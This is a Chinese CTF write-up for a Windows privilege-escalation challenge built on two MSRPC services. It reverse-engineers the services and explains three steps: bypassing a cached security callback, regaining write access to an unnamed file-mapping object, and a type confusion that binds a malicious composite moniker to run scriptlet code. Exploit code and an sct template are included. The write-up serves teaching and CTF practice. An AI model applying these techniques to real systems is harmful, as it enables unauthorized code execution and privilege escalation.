题目给了两个MSRPC服务器，存根均使用/Oicf编译。使用IDA脚本findrpc.py可快速定位管理器入口点向量位置。这里介绍一些扩充知识，方便一些以前没有接触过的朋友理解MSRPC存根中定义的几个结构体间的关系，如果不感兴趣请跳过，毕竟我们最终只需使用工具搜索服务例程。
```cpp=typedef struct _RPC_SERVER_INTERFACE{    unsigned int Length;    ...    PRPC_DISPATCH_TABLE DispatchTable;    ...    void const __RPC_FAR *InterpreterInfo;    unsigned int Flags ;} RPC_SERVER_INTERFACE, __RPC_FAR * PRPC_SERVER_INTERFACE;```每个`RPC_SERVER_INTERFACE`结构代表一个接口。其`DispatchTable`成员指向`RPC_DISPATCH_TABLE`结构：```cpp=typedef struct {    unsigned int DispatchTableCount;    RPC_DISPATCH_FUNCTION __RPC_FAR * DispatchTable;    LONG_PTR                          Reserved;} RPC_DISPATCH_TABLE, __RPC_FAR * PRPC_DISPATCH_TABLE;````RPC_DISPATCH_TABLE`的`DispatchTableCount`指定调度函数数量，与`DispatchTable`指向的指针数组中的元素个数相同，且与默认管理器入口点向量中的元素个数相同，这是我们确定有多少个服务例程的一种方式。
回到`RPC_SERVER_INTERFACE`中，其`Flags`成员中的标志位与`InterpreterInfo`指针的值（有效或空指针）、`DispatchTable->DispatchTable`中调度函数的类型共同确定列集模式与其他编译开关（如传输语法）。例如，本题中`Flag`值为`0x04000000`, `InterpreterInfo`非空，`DispatchFunction`为`NdrServerCall2`，则MIDL选项有`/Oi*f`。`/Oi*`系选项中自动化寻找服务例程很容易，但`/Os`下则麻烦一些，具体就不展开讲了。
若使用`/Oi*`，则`InterpreterInfo`指向`MIDL_SERVER_INFO`结构：```cpp=typedef struct  _MIDL_SERVER_INFO_    {    PMIDL_STUB_DESC                     pStubDesc;    const SERVER_ROUTINE     *          DispatchTable;    PFORMAT_STRING                      ProcString;    const unsigned short *              FmtStringOffset;    const STUB_THUNK *                  ThunkTable;    PRPC_SYNTAX_IDENTIFIER              pTransferSyntax;    ULONG_PTR                           nCount;    PMIDL_SYNTAX_INFO                   pSyntaxInfo;    } MIDL_SERVER_INFO, *PMIDL_SERVER_INFO;```结构成员`DispatchTable`指向服务例程指针数组，其数组下标值对应调用号。
使用findrpc解析本题中EntryService服务器，其注册的接口如下：![](https://i.loli.net/2020/07/08/JQPtDrVIm76eXkz.png)`Proc Handlers`显示了服务例程的地址，只有一个`0x402020`:```cpp=RPC_STATUS __cdecl sub_402020(RPC_BINDING_HANDLE BindingHandle){  RPC_STATUS result; // eax  CLIENT_CALL_RETURN v2; // esi  RPC_STATUS v3; // eax  RPC_WSTR StringBinding; // [esp+18h] [ebp-20h]  CPPEH_RECORD ms_exc; // [esp+20h] [ebp-18h]
  StringBinding = 0;  result = RpcStringBindingComposeW(0, L"ncalrpc", 0, L"hello", 0, &StringBinding);  if ( result )    return result;  result = RpcBindingFromStringBindingW(StringBinding, &Binding);  if ( result )    return result;  ms_exc.registration.TryLevel = 0;  result = RpcImpersonateClient(BindingHandle);  if ( result )  {    ms_exc.registration.TryLevel = -2;  }  else  {    v2.Pointer = sub_401D60((char)Binding).Pointer;    RpcRevertToSelf();    ms_exc.registration.TryLevel = -2;    result = RpcStringFreeW(&StringBinding);    if ( !result )    {      v3 = RpcBindingFree(&Binding);      if ( v3 )        v2.Simple = v3;      result = v2.Simple;    }  }  return result;}```
它没做什么特别的事情，只在[仿冒（Impersonation）](https://docs.microsoft.com/en-us/windows/win32/com/impersonation)客户端后调用了另一个RPC服务器，即SecondService的例程。
如果你找到了SecondService中控制服务器启动的过程，你应该注意到`RpcServerRegisterIf2`中的`IfCallbackFn`，这是自定义的安全回调函数，当RPC请求到达后，回调检查客户端进程PID是否与EntryService服务进程的PID相同，若不同则拒绝请求。```cpp=BOOL __thiscall sub_4019A0(_DWORD *this){  _DWORD *v1; // esi
  v1 = this;  if ( this[10] )    return SetEvent((HANDLE)v1[11]);  while ( !RpcServerUseProtseqEpW(L"ncalrpc", 0x4D2u, L"hello", 0)       && !RpcServerRegisterIf2(&unk_4044B8, 0, 0, 0x20u, 0x4D2u, 0, IfCallbackFn)       && !RpcServerListen(1u, 0x4D2u, 0) )  {    if ( v1[10] )      return SetEvent((HANDLE)v1[11]);  }  v1[10] = 1;  return SetEvent((HANDLE)v1[11]);}```
由于EntryService仅调用SecondService中一个无关紧要的RPC例程：```cpp=int sub_401AD0(){  struct _SYSTEM_INFO SystemInfo; // [esp+0h] [ebp-28h]
  GetSystemInfo(&SystemInfo);  return 0;}```想调用SecondService的其他例程必须使调用方PID与服务PID相等，我们可能会考虑在EntryService的进程空间内执行任意代码，或者寻找任意写原语以修改EPROCESS结构（我不了解是否可行，即便可以，通过这些服务提权就完全不必要，那是更严重的问题），或者期望对`QueryServiceStatusEx`的调用失败，并且你的Pid是0！无论哪种方式都很困难。
让我们回顾`RpcServerRegisterIf2`的函数原型，其中`Flag`参数指定接口注册标志。如果你查看文档，`RPC_IF_SEC_NO_CACHE`用于禁用安全回调缓存，对每个RPC调用强制执行安全回调，这暗示若不指定该标志，则回调结果会默认被缓存，本题中没有指定此标志。
由于EntryService是在仿冒客户端后调用的SecondService，并且能够通过回调检查，则当再次以客户端用户身份直接调用SecondService时，安全回调将不被触发。
绕过PID检查后，查看Proc1例程```cpp=  result = CreateClassMoniker(&rclsid, &ppmk);  if ( result < 0 )    return result;  result = CreateStreamOnHGlobal(0, 1, &ppstm);  if ( result < 0 )    return result;  v4 = OleSaveToStream((LPPERSISTSTREAM)ppmk, ppstm);  if ( v4 < 0 )  {    ppstm->lpVtbl->Release(ppstm);    return v4;  }  v5 = CreateFileMappingW((HANDLE)0xFFFFFFFF, 0, 4u, 0, 0x100u, 0);  v6 = v5;  if ( !v5 )  {    ppstm->lpVtbl->Release(ppstm);    return GetLastError();  }  v7 = MapViewOfFile(v5, 0xF001Fu, 0, 0, 0x100u);  v8 = ppstm->lpVtbl;  if ( v7 )  {    result = v8->Stat(ppstm, (STATSTG *)&v17, 1);    if ( result >= 0 )    {      ((void (__stdcall *)(LPSTREAM, _DWORD, _DWORD, _DWORD, _DWORD))ppstm->lpVtbl->Seek)(ppstm, 0, 0, 0, 0);      *v7 = v18;      result = ppstm->lpVtbl->Read(ppstm, v7 + 1, v18, (ULONG *)&v16);      ......      ......```这个代码片段创建Class Moniker，并创建一个文件映射对象，将Moniker状态信息保存到共享内存中，前4个字节保存字节流长度：```size serialized_class_moniker```
在这之后，将句柄复制到调用进程中，复制时指定访问权限为只读```cpp=if ( I_RpcBindingInqLocalClientPID(Binding, &Pid) ){  result = -2;}else{  RpcImpersonateClient(Binding);  v9 = OpenProcess(0x40u, 0, Pid);  if ( !v9 )    return GetLastError();  v10 = v9;  v11 = GetCurrentProcess();  if ( !DuplicateHandle(v11, v6, v10, &TargetHandle, 4u, 0, 0) )    return GetLastError();  *(_DWORD *)a2 = TargetHandle;  RpcRevertToSelf();  ppmk->lpVtbl->Release(ppmk);  ppstm->lpVtbl->Release(ppstm);  result = 0;}```
通常来说客户端无法对复制到本进程的文件映射对象重新请求写入权限，但这里SecondService在创建对象时，没有为对象指定名字：``` CreateFileMappingW(-1, ...,  NULL); # 最后一个参数为NULL```根据[MSDN](https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects)，一些无名对象是没有安全性的，比如本题中的文件映射对象在没有名字也没有安全描述符，这意味着即使SecondService复制给客户端的句柄仅有读权限，客户端也可以通过DuplicateHandle来给自己复制一个有写权限的新句柄，从而修改共享内存。
那么接下来我们要怎样做共享内存中的布局？看看SecondService中的Proc2例程：```cpp= CoInitialize(0);  v2 = (ULONG *)MapViewOfFile(hFileMappingObject, 0xF001Fu, 0, 0, 0x100u);  if ( v2 )  {    result = CreateStreamOnHGlobal(0, 1, &ppstm);    if ( result >= 0 )    {      ((void (__stdcall *)(LPSTREAM, _DWORD, _DWORD, _DWORD, _DWORD))ppstm->lpVtbl->Seek)(ppstm, 0, 0, 0, 0);      result = ppstm->lpVtbl->Write(ppstm, v2 + 1, *v2, (ULONG *)&v9;;      if ( result >= 0 )      {        ((void (__stdcall *)(LPSTREAM, _DWORD, _DWORD, _DWORD, _DWORD))ppstm->lpVtbl->Seek)(ppstm, 0, 0, 0, 0);        result = OleLoadFromStream(ppstm, &iidInterface, &ppvObj);        if ( result >= 0 )        {          CreateBindCtx(0, &ppbc);          v4 = (*(int (__stdcall **)(LPVOID, LPBC, _DWORD, void *, char *))(*(_DWORD *)ppvObj + 32))(                 ppvObj,                 ppbc,                 0,                 &unk_4041E0,                 &v8;;          if ( v4 >= 0 )          {            ppbc->lpVtbl->Release(ppbc);            (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppvObj + 8))(ppvObj);            ppstm->lpVtbl->Release(ppstm);            result = 0;          }          else          {            ppbc->lpVtbl->Release(ppbc);            (*(void (__stdcall **)(LPVOID))(*(_DWORD *)ppvObj + 8))(ppvObj);            ppstm->lpVtbl->Release(ppstm);            result = v4;          }        }      }    }  }  else  {    CloseHandle(hFileMappingObject);    result = GetLastError();  }  return result;```
它读取4个字节，即序列化的`Class Moniker`状态字节流的长度，再创建新的对象并使用这些信息恢复对象状态。综合`Proc1`和`Proc2`的代码，可以发现这里出现了类型混淆，通过在共享内存中写入一个恶意的Fake Moniker来触发对象绑定，由于我们可控制对象的状态，通过精心构造恶意对象可以在绑定时造成代码执行。
名字对象（Moniker）是一种标识其他对象的COM对象，它实现`IMoniker`接口。对于我们的目的，有三个重要方法需要了解：```cpp=[   object,   uuid(0000000f-0000-0000-C000-000000000046),   pointer_default(unique) ] interface IMoniker {    ......   ......    [local]   HRESULT BindToObject(     [in, unique] IBindCtx *pbc,     [in, unique] IMoniker *pmkToLeft,     [in] REFIID riidResult,     [out, iid_is(riidResult)] void **ppvResult);    // Inherit from IPersistStream   HRESULT Load(      [in, unique] IStream *pStm);    // Inherit from IPersistStream   HRESULT Save(     [in, unique] IStream *pStm,     [in] BOOL fClearDirty);    ......   ...... }```* `BindToObject`用于绑定到特定的对象，`ppvResult`参数的`iid_is`属性表明其为COM接口指针，即所绑定的对象接口；`pmkToLeft`指向用于复合Moniker中先绑定位于该Moniker左边的Moniker。* `Save`和`Load`方法分别用于保存与加载名字对象
OLE实现了一些内置的Moniker， 如File Moniker，URL Moniker， OBJREF Moniker等。一些方法用于创建Moniker，通常不是`CoCreateInstance`（尽管有时也可以）等API，而是一组Helper函数，如`CreateFileMoniker`，或者通过`MkParseDisplayName`解析显示字符串。
一种使用Moniker执行代码的方式是使用`Script Moniker`。该Moniker可通过`MkParseDisplayName`创建并绑定到scriptletfile对象（从sct文件中解析）以执行jscript代码，理论上，我们可以创建该对象并保存到共享内存中，并触发`Proc2`以恢复该对象并执行代码，但Script Moniker对IMoniker接口的实现并不完整，`Save`和`Load`方法都返回`E_NOTIMPL`，这使得序列化对象到内存区中不太可行。作为代替，我们使用File Moniker和New Moniker组合为一个Composite Moniker以达到同样的效果，其原理是绑定Composite Moniker时，File Moniker先从sct文件中恢复scriptlet file对象，再通过New Moniker（类似CoCreateInstance）绑定到对象的实例，从而执行sct文件中的代码：```cpp=if (SUCCEEDED(CreateFileMoniker(OLESTR("c:\\\\users\\emanon\\desktop\\SCTF-EoP\\1.sct"), &pFileMnk))){    CoCreateInstance(CLSID_NEWMONIKER, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID *)&pNewMnk);    CreateGenericComposite(pFileMnk, pNewMnk, &pCompositeMnk);}```
之后将其保存到流对象中并拷贝至共享内存，然后调用`Proc2`：
```cpp=CreateBindCtx(NULL, &pBindCtx);if (SUCCEEDED(CreateFileMoniker(OLESTR("c:\\\\users\\emanon\\desktop\\SCTF-EoP\\1.sct"), &pFileMnk))){    CoCreateInstance(CLSID_NEWMONIKER, NULL, CLSCTX_ALL, IID_IUnknown, (LPVOID *)&pNewMnk);    CreateGenericComposite(pFileMnk, pNewMnk, &pCompositeMnk);
    if (FAILED(hr = CreateStreamOnHGlobal(NULL, TRUE, &pStm))) {        return hr;    }
    if (FAILED(hr = OleSaveToStream(pCompositeMnk, pStm))) {        pStm->Release();        return hr;    }
    if (FAILED(hr = pStm->Stat(&statstg, STATFLAG_NONAME)))    {        return hr;    }
    offset.QuadPart = 0;    pStm->Seek(offset, STREAM_SEEK_SET, NULL);    *(ULONG *)pBuf = statstg.cbSize.QuadPart;    if (FAILED(hr = pStm->Read((LPBYTE)pBuf + sizeof(ULONG), statstg.cbSize.QuadPart, &pcbRead)))    {        return hr;    }
    hr = Proc2(SecondInterface_v0_0_c_ifspec, hFileSource);
} ```
sct文件：```cpp=
<scriptlet>
<registration    description="Bandit"    progid="Bandit"    version="1.00"    classid="{CD3AFA76-B84F-48F0-9393-7EDC34128127}"	>
</registration><script language="JScript">
</script>
</scriptlet>```